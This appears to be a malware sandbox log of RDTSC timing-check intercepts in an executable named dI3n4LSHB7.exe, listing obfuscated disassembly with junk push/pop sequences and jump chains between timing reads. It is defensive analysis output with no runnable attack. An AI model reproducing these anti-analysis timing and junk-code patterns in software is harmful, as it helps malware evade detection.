Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: 4D60A50 second address: 4D60A82 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov edi, eax 0x0000000a pushad 0x0000000b push edi 0x0000000c pushad 0x0000000d popad 0x0000000e pop esi 0x0000000f pushad 0x00000010 mov ecx, edx 0x00000012 mov ch, bh 0x00000014 popad 0x00000015 popad 0x00000016 test edi, edi 0x00000018 push eax 0x00000019 push edx 0x0000001a push eax 0x0000001b push edx 0x0000001c jmp 00007FF4C05015A6h 0x00000021 rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: 4D60A82 second address: 4D60A91 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF4C0C3E16Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: 4D60A91 second address: 4D60B5C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov cx, bx 0x00000006 pushfd 0x00000007 jmp 00007FF4C050159Bh 0x0000000c or ax, 177Eh 0x00000011 jmp 00007FF4C05015A9h 0x00000016 popfd 0x00000017 popad 0x00000018 pop edx 0x00000019 pop eax 0x0000001a js 00007FF5305A0194h 0x00000020 pushad 0x00000021 mov di, si 0x00000024 call 00007FF4C05015A8h 0x00000029 pushfd 0x0000002a jmp 00007FF4C05015A2h 0x0000002f jmp 00007FF4C05015A5h 0x00000034 popfd 0x00000035 pop eax 0x00000036 popad 0x00000037 mov eax, dword ptr [ebp-0Ch] 0x0000003a push eax 0x0000003b push edx 0x0000003c pushad 0x0000003d pushfd 0x0000003e jmp 00007FF4C05015A8h 0x00000043 sub eax, 2F02BE68h 0x00000049 jmp 00007FF4C050159Bh 0x0000004e popfd 0x0000004f jmp 00007FF4C05015A8h 0x00000054 popad 0x00000055 rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: 4D60B5C second address: 4D60B92 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF4C0C3E16Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esi+04h], eax 0x0000000c jmp 00007FF4C0C3E176h 0x00000011 lea eax, dword ptr [ebx+78h] 0x00000014 push eax 0x00000015 push edx 0x00000016 pushad 0x00000017 mov cx, bx 0x0000001a mov di, EF6Ch 0x0000001e popad 0x0000001f rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: 4D60B92 second address: 4D60B98 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: 4D60B98 second address: 4D60B9C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: 4D60B9C second address: 4D60BA0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: 4D60BA0 second address: 4D60C3B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push 00000001h 0x0000000a jmp 00007FF4C0C3E178h 0x0000000f nop 0x00000010 jmp 00007FF4C0C3E170h 0x00000015 push eax 0x00000016 pushad 0x00000017 jmp 00007FF4C0C3E171h 0x0000001c pushad 0x0000001d pushfd 0x0000001e jmp 00007FF4C0C3E16Eh 0x00000023 jmp 00007FF4C0C3E175h 0x00000028 popfd 0x00000029 push ecx 0x0000002a pop ebx 0x0000002b popad 0x0000002c popad 0x0000002d nop 0x0000002e jmp 00007FF4C0C3E16Ah 0x00000033 lea eax, dword ptr [ebp-08h] 0x00000036 push eax 0x00000037 push edx 0x00000038 pushad 0x00000039 movsx ebx, si 0x0000003c jmp 00007FF4C0C3E176h 0x00000041 popad 0x00000042 rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: 4D60C9C second address: 4D60CFA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov edi, 4CA5E628h 0x00000008 mov eax, ebx 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d mov edi, eax 0x0000000f pushad 0x00000010 mov dh, 52h 0x00000012 push eax 0x00000013 jmp 00007FF4C05015A1h 0x00000018 pop ecx 0x00000019 popad 0x0000001a test edi, edi 0x0000001c pushad 0x0000001d push eax 0x0000001e push edx 0x0000001f pushfd 0x00000020 jmp 00007FF4C05015A3h 0x00000025 or ax, B4CEh 0x0000002a jmp 00007FF4C05015A9h 0x0000002f popfd 0x00000030 rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: 4D60CFA second address: 4D60D75 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 mov si, 2CA9h 0x0000000b pushfd 0x0000000c jmp 00007FF4C0C3E176h 0x00000011 adc si, 5878h 0x00000016 jmp 00007FF4C0C3E16Bh 0x0000001b popfd 0x0000001c popad 0x0000001d popad 0x0000001e js 00007FF530CDCAF0h 0x00000024 pushad 0x00000025 pushfd 0x00000026 jmp 00007FF4C0C3E174h 0x0000002b or esi, 113B72D8h 0x00000031 jmp 00007FF4C0C3E16Bh 0x00000036 popfd 0x00000037 mov bx, si 0x0000003a popad 0x0000003b mov eax, dword ptr [ebp-04h] 0x0000003e pushad 0x0000003f mov si, B787h 0x00000043 mov al, 45h 0x00000045 popad 0x00000046 mov dword ptr [esi+08h], eax 0x00000049 push eax 0x0000004a push edx 0x0000004b push eax 0x0000004c push edx 0x0000004d push eax 0x0000004e push edx 0x0000004f rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: 4D60D75 second address: 4D60D79 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: 4D60D79 second address: 4D60D7F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: 4D60D7F second address: 4D60E45 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF4C05015A3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 lea eax, dword ptr [ebx+70h] 0x0000000c jmp 00007FF4C05015A6h 0x00000011 push 00000001h 0x00000013 jmp 00007FF4C05015A0h 0x00000018 nop 0x00000019 jmp 00007FF4C05015A0h 0x0000001e push eax 0x0000001f pushad 0x00000020 movsx ebx, ax 0x00000023 mov esi, 783B6C79h 0x00000028 popad 0x00000029 nop 0x0000002a pushad 0x0000002b mov di, si 0x0000002e pushfd 0x0000002f jmp 00007FF4C050159Eh 0x00000034 xor cx, EB88h 0x00000039 jmp 00007FF4C050159Bh 0x0000003e popfd 0x0000003f popad 0x00000040 lea eax, dword ptr [ebp-18h] 0x00000043 pushad 0x00000044 pushfd 0x00000045 jmp 00007FF4C05015A4h 0x0000004a add ch, FFFFFFE8h 0x0000004d jmp 00007FF4C050159Bh 0x00000052 popfd 0x00000053 call 00007FF4C05015A8h 0x00000058 push eax 0x00000059 push edx 0x0000005a rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: 4D60EAB second address: 4D60EC3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FF4C0C3E174h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: 4D60EC3 second address: 4D60F00 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF4C050159Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b test edi, edi 0x0000000d jmp 00007FF4C05015A6h 0x00000012 js 00007FF53059FD59h 0x00000018 push eax 0x00000019 push edx 0x0000001a push eax 0x0000001b push edx 0x0000001c jmp 00007FF4C050159Ah 0x00000021 rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: 4D60F00 second address: 4D60F04 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: 4D60F04 second address: 4D60F0A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: 4D60F0A second address: 4D60F53 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov dh, al 0x00000005 pushfd 0x00000006 jmp 00007FF4C0C3E179h 0x0000000b sub ecx, 67CB8C46h 0x00000011 jmp 00007FF4C0C3E171h 0x00000016 popfd 0x00000017 popad 0x00000018 pop edx 0x00000019 pop eax 0x0000001a mov eax, dword ptr [ebp-14h] 0x0000001d push eax 0x0000001e push edx 0x0000001f pushad 0x00000020 mov edi, 3DE80ACEh 0x00000025 movsx edi, ax 0x00000028 popad 0x00000029 rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: 4D60F53 second address: 4D60FD6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF4C05015A1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ecx, esi 0x0000000b pushad 0x0000000c pushfd 0x0000000d jmp 00007FF4C050159Ch 0x00000012 or al, 00000048h 0x00000015 jmp 00007FF4C050159Bh 0x0000001a popfd 0x0000001b movzx eax, dx 0x0000001e popad 0x0000001f mov dword ptr [esi+0Ch], eax 0x00000022 jmp 00007FF4C050159Bh 0x00000027 mov edx, 74E806ECh 0x0000002c jmp 00007FF4C05015A6h 0x00000031 sub eax, eax 0x00000033 push eax 0x00000034 push edx 0x00000035 pushad 0x00000036 pushfd 0x00000037 jmp 00007FF4C050159Ah 0x0000003c or ax, E808h 0x00000041 jmp 00007FF4C050159Bh 0x00000046 popfd 0x00000047 popad 0x00000048 rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: 4D60FD6 second address: 4D60FDC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: 4D60FDC second address: 4D60FE0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: 4D60FE0 second address: 4D61020 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 lock cmpxchg dword ptr [edx], ecx 0x0000000c jmp 00007FF4C0C3E16Ah 0x00000011 pop edi 0x00000012 pushad 0x00000013 mov ax, 51BDh 0x00000017 pushfd 0x00000018 jmp 00007FF4C0C3E16Ah 0x0000001d sbb si, DD98h 0x00000022 jmp 00007FF4C0C3E16Bh 0x00000027 popfd 0x00000028 popad 0x00000029 test eax, eax 0x0000002b pushad 0x0000002c push eax 0x0000002d push edx 0x0000002e pushad 0x0000002f popad 0x00000030 rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: 4D61020 second address: 4D6109E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF4C05015A0h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushfd 0x0000000a jmp 00007FF4C05015A2h 0x0000000f or ecx, 52AC5F28h 0x00000015 jmp 00007FF4C050159Bh 0x0000001a popfd 0x0000001b popad 0x0000001c jne 00007FF53059FC18h 0x00000022 jmp 00007FF4C05015A6h 0x00000027 mov edx, dword ptr [ebp+08h] 0x0000002a jmp 00007FF4C05015A0h 0x0000002f mov eax, dword ptr [esi] 0x00000031 push eax 0x00000032 push edx 0x00000033 pushad 0x00000034 jmp 00007FF4C050159Dh 0x00000039 pushad 0x0000003a popad 0x0000003b popad 0x0000003c rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: 4D6109E second address: 4D610A4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: 4D610A4 second address: 4D610A8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: 4D610A8 second address: 4D610AC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: 4D610AC second address: 4D610F8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [edx], eax 0x0000000a jmp 00007FF4C05015A5h 0x0000000f mov eax, dword ptr [esi+04h] 0x00000012 jmp 00007FF4C050159Eh 0x00000017 mov dword ptr [edx+04h], eax 0x0000001a push eax 0x0000001b push edx 0x0000001c jmp 00007FF4C05015A7h 0x00000021 rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: 4D610F8 second address: 4D6112D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov si, di 0x00000006 pushfd 0x00000007 jmp 00007FF4C0C3E16Bh 0x0000000c jmp 00007FF4C0C3E173h 0x00000011 popfd 0x00000012 popad 0x00000013 pop edx 0x00000014 pop eax 0x00000015 mov eax, dword ptr [esi+08h] 0x00000018 push eax 0x00000019 push edx 0x0000001a pushad 0x0000001b mov si, di 0x0000001e mov dl, 21h 0x00000020 popad 0x00000021 rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: 4D6112D second address: 4D61187 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov esi, edx 0x00000005 mov eax, edi 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov dword ptr [edx+08h], eax 0x0000000d jmp 00007FF4C050159Dh 0x00000012 mov eax, dword ptr [esi+0Ch] 0x00000015 jmp 00007FF4C050159Eh 0x0000001a mov dword ptr [edx+0Ch], eax 0x0000001d jmp 00007FF4C05015A0h 0x00000022 mov eax, dword ptr [esi+10h] 0x00000025 push eax 0x00000026 push edx 0x00000027 jmp 00007FF4C05015A7h 0x0000002c rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: 4D61187 second address: 4D6118C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: 4D6118C second address: 4D6119E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [edx+10h], eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: 4D6119E second address: 4D611A2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: 4D611A2 second address: 4D611A6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: 4D611A6 second address: 4D611AC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: 4D611AC second address: 4D611D7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF4C05015A5h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [esi+14h] 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FF4C050159Dh 0x00000013 rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: 4D611D7 second address: 4D611DD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: 4D611DD second address: 4D611E1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: 4D611E1 second address: 4D61200 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [edx+14h], eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007FF4C0C3E172h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: 4D61200 second address: 4D6123A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FF4C05015A1h 0x00000009 and al, FFFFFFB6h 0x0000000c jmp 00007FF4C05015A1h 0x00000011 popfd 0x00000012 mov bx, si 0x00000015 popad 0x00000016 pop edx 0x00000017 pop eax 0x00000018 mov eax, dword ptr [esi+18h] 0x0000001b push eax 0x0000001c push edx 0x0000001d pushad 0x0000001e pushad 0x0000001f popad 0x00000020 push eax 0x00000021 push edx 0x00000022 rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: 4D6123A second address: 4D6123F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: 4D6123F second address: 4D61260 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF4C05015A0h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [edx+18h], eax 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f mov ax, di 0x00000012 mov cx, dx 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: 4D61260 second address: 4D61266 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: 4D61266 second address: 4D61277 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [esi+1Ch] 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: 4D61277 second address: 4D6127B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: 4D6127B second address: 4D61281 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: 4D61281 second address: 4D61298 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FF4C0C3E173h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: 4D61298 second address: 4D612D9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [edx+1Ch], eax 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e jmp 00007FF4C050159Eh 0x00000013 pushfd 0x00000014 jmp 00007FF4C05015A2h 0x00000019 add cx, 0528h 0x0000001e jmp 00007FF4C050159Bh 0x00000023 popfd 0x00000024 popad 0x00000025 rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: 4D612D9 second address: 4D6133F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movsx edx, cx 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov eax, dword ptr [esi+20h] 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 pushfd 0x00000012 jmp 00007FF4C0C3E179h 0x00000017 and ax, F3F6h 0x0000001c jmp 00007FF4C0C3E171h 0x00000021 popfd 0x00000022 pushfd 0x00000023 jmp 00007FF4C0C3E170h 0x00000028 sbb ecx, 54D6CD18h 0x0000002e jmp 00007FF4C0C3E16Bh 0x00000033 popfd 0x00000034 popad 0x00000035 rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: 4D6133F second address: 4D61345 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: 4D61345 second address: 4D61349 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: 4D61349 second address: 4D613A0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [edx+20h], eax 0x0000000b jmp 00007FF4C05015A7h 0x00000010 mov eax, dword ptr [esi+24h] 0x00000013 jmp 00007FF4C05015A6h 0x00000018 mov dword ptr [edx+24h], eax 0x0000001b push eax 0x0000001c push edx 0x0000001d jmp 00007FF4C05015A7h 0x00000022 rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: 4D613A0 second address: 4D613A6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: 4D613A6 second address: 4D613AA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: 4D613AA second address: 4D613E6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [esi+28h] 0x0000000b jmp 00007FF4C0C3E177h 0x00000010 mov dword ptr [edx+28h], eax 0x00000013 push eax 0x00000014 push edx 0x00000015 jmp 00007FF4C0C3E175h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: 4D613E6 second address: 4D613EC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: 4D613EC second address: 4D613F0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: 4D613F0 second address: 4D6140F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ecx, dword ptr [esi+2Ch] 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007FF4C05015A2h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: 4D6140F second address: 4D61438 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF4C0C3E16Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [edx+2Ch], ecx 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FF4C0C3E175h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: 4D61438 second address: 4D61491 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007FF4C05015A7h 0x00000008 pop esi 0x00000009 pushfd 0x0000000a jmp 00007FF4C05015A9h 0x0000000f or si, F056h 0x00000014 jmp 00007FF4C05015A1h 0x00000019 popfd 0x0000001a popad 0x0000001b pop edx 0x0000001c pop eax 0x0000001d mov ax, word ptr [esi+30h] 0x00000021 pushad 0x00000022 push eax 0x00000023 push edx 0x00000024 movzx ecx, di 0x00000027 rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: 4D61491 second address: 4D614D8 instructions: 0x00000000 rdtsc 0x00000002 mov ecx, ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 call 00007FF4C0C3E16Bh 0x0000000b pushfd 0x0000000c jmp 00007FF4C0C3E178h 0x00000011 add ch, FFFFFFD8h 0x00000014 jmp 00007FF4C0C3E16Bh 0x00000019 popfd 0x0000001a pop esi 0x0000001b popad 0x0000001c mov word ptr [edx+30h], ax 0x00000020 push eax 0x00000021 push edx 0x00000022 pushad 0x00000023 mov di, cx 0x00000026 push eax 0x00000027 push edx 0x00000028 rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: 4D614D8 second address: 4D614DD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: 4D614DD second address: 4D614E3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: 4D614E3 second address: 4D614E7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: 4D614E7 second address: 4D61560 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF4C0C3E175h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov ax, word ptr [esi+32h] 0x0000000f pushad 0x00000010 pushfd 0x00000011 jmp 00007FF4C0C3E16Ch 0x00000016 adc al, FFFFFF98h 0x00000019 jmp 00007FF4C0C3E16Bh 0x0000001e popfd 0x0000001f mov edi, eax 0x00000021 popad 0x00000022 mov word ptr [edx+32h], ax 0x00000026 jmp 00007FF4C0C3E172h 0x0000002b mov eax, dword ptr [esi+34h] 0x0000002e pushad 0x0000002f push eax 0x00000030 push edx 0x00000031 pushfd 0x00000032 jmp 00007FF4C0C3E16Ch 0x00000037 or cx, AB28h 0x0000003c jmp 00007FF4C0C3E16Bh 0x00000041 popfd 0x00000042 rdtsc
Source: C:\Users\user\Desktop\dI3n4LSHB7.exe	RDTSC instruction interceptor: First address: 4D61560 second address: 4D6159D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov ebx, eax 0x00000008 popad 0x00000009 mov dword ptr [edx+34h], eax 0x0000000c jmp 00007FF4C05015A0h 0x00000011 test ecx, 00000700h 0x00000017 jmp 00007FF4C05015A0h 0x0000001c jne 00007FF53059F71Bh 0x00000022 pushad 0x00000023 push eax 0x00000024 push edx 0x00000025 push ecx 0x00000026 pop ebx 0x00000027 rdtsc
